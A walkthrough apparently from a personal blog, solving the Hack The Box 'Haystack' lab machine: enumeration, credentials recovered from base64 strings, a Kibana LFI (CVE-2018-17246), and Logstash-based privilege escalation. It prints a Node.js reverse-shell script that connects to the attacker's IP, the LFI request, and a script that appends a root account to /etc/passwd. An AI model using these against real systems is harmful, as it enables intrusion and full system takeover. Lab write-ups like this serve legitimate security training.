Hackthebox Haystack Walkthrough
08 Nov 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Haystack”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.115 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-04 15:42 EET
Nmap scan report for 10.10.10.115
Host is up ( 0.047s latency) .
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 ( protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b ( RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 ( ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 ( ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn' t have a title ( application/json; charset = UTF-8) .
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 161.51 seconds
HTTP enumeration:
Sounds like only one page with heystack image available.
root@kali:~# gobuster dir -u http://10.10.10.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.115/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: html,php,txt
[ +] Timeout: 10s
===============================================================
2019/11/05 19:40:48 Starting gobuster
===============================================================
/index.html ( Status: 200)
===============================================================
2019/11/05 21:01:59 Finished
===============================================================
Port 9200 enumeration:
We can figure out that Elasticsearch is running.
root@kali:~# curl http://10.10.10.115:9200/
{
"name" : "iQEYHgS" ,
"cluster_name" : "elasticsearch" ,
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg" ,
"version" : {
"number" : "6.4.2" ,
"build_flavor" : "default" ,
"build_type" : "rpm" ,
"build_hash" : "04711c2" ,
"build_date" : "2018-09-26T13:34:09.098244Z" ,
"build_snapshot" : false ,
"lucene_version" : "7.4.0" ,
"minimum_wire_compatibility_version" : "5.6.0" ,
"minimum_index_compatibility_version" : "5.0.0"
} ,
"tagline" : "You Know, for Search"
}
2. Getting User
At first, take a look at port 80.
We have only one file “needle.jpg” there.
root@kali:~# curl http://10.10.10.115
<html>
<body>
<img src= "needle.jpg" />
</body>
</html>
To check if something interesting there, we can use “strings” command.
root@kali:~# strings needle.jpg
JFIF
Exif
paint.net 4.1.1
UNICODE
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&' () * 56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sc,x
~~~
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg ==
We found base64 encoded data.
Then, decode the message. We get a message with unknown language.
root@kali:~# echo 'bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==' | base64 -d
la aguja en el pajar es "clave"
Google is always our friend. Translate the message.
la aguja en el pajar es "clave"
->
the needle in the haystack is "key"
Then, go back to elasticsearch.
Elasticsearch is a search engine based on the Lucene library. It provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents.
To send a query to elasticsearch, we need a parameter “q”.
root@kali:~# curl http://10.10.10.115:9200/_search?q= clave
{ "took" :136,"timed_out" :false,"_shards" :{ "total" :11,"successful" :11,"skipped" :0,"failed" :0} ,"hits" :{ "total" :2,"max_score" :5.9335938,"hits" :[{ "_index" :"quotes" ,"_type" :"quote" ,"_id" :"45" ,"_score" :5.9335938,"_source" :{ "quote" :"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " }} ,{ "_index" :"quotes" ,"_type" :"quote" ,"_id" :"111" ,"_score" :5.3459888,"_source" :{ "quote" :"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" }}]}}
Then decode the base64 encoded data.
root@kali:~# echo 'dXNlcjogc2VjdXJpdHkg' | base64 -d
user: security
root@kali:~# echo 'cGFzczogc3BhbmlzaC5pcy5rZXk=' | base64 -d
pass: spanish.is.key
We got a credential for user “security” to login with ssh.
security:spanish.is.key
root@kali:~# ssh security@10.10.10.115
security@10.10.10.115's password:
Last login: Tue Nov 5 14:44:15 2019 from 10.10.14.13
[security@haystack ~]$ id
uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
As always, user.txt is in the home directory.
[ security@haystack ~]$ ls -la
total 16
drwx------. 2 security security 99 Feb 6 2019 .
drwxr-xr-x. 3 root root 22 Nov 28 2018 ..
lrwxrwxrwx. 1 root root 9 Jan 25 2019 .bash_history -> /dev/null
-rw-r--r-- . 1 security security 18 Apr 10 2018 .bash_logout
-rw-r--r-- . 1 security security 193 Apr 10 2018 .bash_profile
-rw-r--r-- . 1 security security 231 Apr 10 2018 .bashrc
-rw-r--r-- . 1 security security 33 Feb 6 2019 user.txt
[ security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
3. Getting Root
After logged in, try to run “pspy ” to display all running process.
We can find that “logstash” is running as a root user.
2019/11/08 05:07:10 CMD: UID = 0 PID = 6392 | /bin/java -Xms500m -Xmx500m -XX :+UseParNewGC -XX :+UseConcMarkSweepGC -XX :CMSInitiatingOccupancyFraction= 75 -XX :+UseCMSInitiatingOccupancyOnly -Djava .awt.headless= true -Dfile .encoding= UTF-8 -Djruby .compile.invokedynamic= true -Djruby .jit.threshold= 0 -XX :+HeapDumpOnOutOfMemoryError -Djava .security.egd= file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path .settings /etc/logstash
However, we can’t access to the config file because we don’t have appropriate permission.
These files belong to a user “kibana”.
[ security@haystack conf.d]$ pwd
/etc/logstash/conf.d
[ security@haystack conf.d]$ ls -l
total 12
-rw-r----- . 1 root kibana 131 Jun 20 10:59 filter.conf
-rw-r----- . 1 root kibana 186 Jun 24 08:12 input.conf
-rw-r----- . 1 root kibana 109 Jun 24 08:12 output.conf
[ security@haystack conf.d]$ cat input.conf
cat : input.conf: Permission denied
[ security@haystack conf.d]$
Then, try to check which port kibana is running. Since we can’t use netstat, use “ss” command.
We have one interesting port 5601.
“-4”: to use IPv4
“-l”: listing all listening ports
“-n”: display port numbers
[ security@haystack ~]$ ss -4 -l -n
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.1:323 * :*
tcp LISTEN 0 128 * :80 * :*
tcp LISTEN 0 128 * :9200 * :*
tcp LISTEN 0 128 * :22 * :*
tcp LISTEN 0 128 127.0.0.1:5601 * :*
*
To access the “127.0.0.1:5601” from our localhost, we need port forwarding.
We can find “Kibana” which is data visualization UI used with Elasticsearch.
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
By clicking the “Management” tab, we can figure out that the version of Kibana is “6.4.2”
By quick search, we can find that this version of kibana has a LFI “CVE-2018-17246”
As it’s written, upload followin javascript shell to “/dev/shm”
shell.js:
( function (){
var net = require ( " net " ),
cp = require ( " child_process " ),
sh = cp . spawn ( " /bin/sh " , []);
var client = new net . Socket ();
client . connect ( 443 , " 10.10.14.13 " , function (){
client . pipe ( sh . stdin );
sh . stdout . pipe ( client );
sh . stderr . pipe ( client );
});
return /a/ ; // Prevents the Node.js application form crashing
})();
Then, launch a netcat listener and send a get request to access to the “shell.js”.
We can achieve a reverse shell as a user “kibana”.
[ security@haystack shm]$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/shell.js'
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.13] from ( UNKNOWN) [ 10.10.10.115] 53668
id
uid = 994( kibana) gid = 992( kibana) grupos = 992( kibana) contexto = system_u:system_r:unconfined_service_t:s0
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link /ether 00:50:56:b9:b4:73 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.115/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:b473/64 scope global mngtmpaddr dynamic
valid_lft 86211sec preferred_lft 14211sec
inet6 fe80::250:56ff:feb9:b473/64 scope link
valid_lft forever preferred_lft forever
After that, get a full shell with python command.
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$
Then, try to look at the files for logstash.
We can refer a document on the official website.
filter.conf:
bash-4.2$ cat filter.conf
cat filter.conf
filter {
if [ type ] == "execute" {
grok {
match => { "message" => "Ejecutar \s *comando \s *: \s +%{GREEDYDATA:comando}" }
}
}
}
input.conf:
bash-4.2$ cat input.conf
cat input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
output.conf
bash-4.2$ cat output.conf
cat output.conf
output {
if [ type ] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
In summerize, logstash is executing a command with following condition.
The name of the config file has to be matched “logstash_*”
the key of the command is has to be “Ejecutar comando”
Create following shell script to add a new admin user in “/etc/passwd”.
We have to put it into “/dev/shm” with scp command.
root@kali:~# cat firefart.sh
#!/bin/bash
echo 'firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash' >> /etc/passwd
root@kali:~# scp firefart.sh security@10.10.10.115:/dev/shm
security@10.10.10.115's password:
firefart.sh 100% 88 2.1KB/s 00:00
Then, create a following config file to achieve a reverse shell as user “kibana” with the following command.
echo 'Ejecutar comando : bash /dev/shm/firefart.sh' > /opt/kibana/logstash_firefart
After a few minutes, finally, we can confirm a new user “firefart” with password “test” was added in “/etc/passwd”.
To switch the user, we can use “su” command.
[ security@haystack ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync :x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
security:x:1000:1000:security:/home/security:/bin/bash
elasticsearch:x:997:995:elasticsearch user:/nonexistent:/sbin/nologin
logstash:x:996:994:logstash:/usr/share/logstash:/sbin/nologin
nginx:x:995:993:Nginx web server:/var/lib/nginx:/sbin/nologin
kibana:x:994:992:kibana service user:/home/kibana:/sbin/nologin
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash
[ security@haystack ~]$
[ security@haystack ~]$ su firefart
Password:
[ root@haystack security]# id
uid = 0( root) gid = 0( root) groups = 0( root) context = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
As always, root.txt is in the directory “/root”
[ root@haystack security]# cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92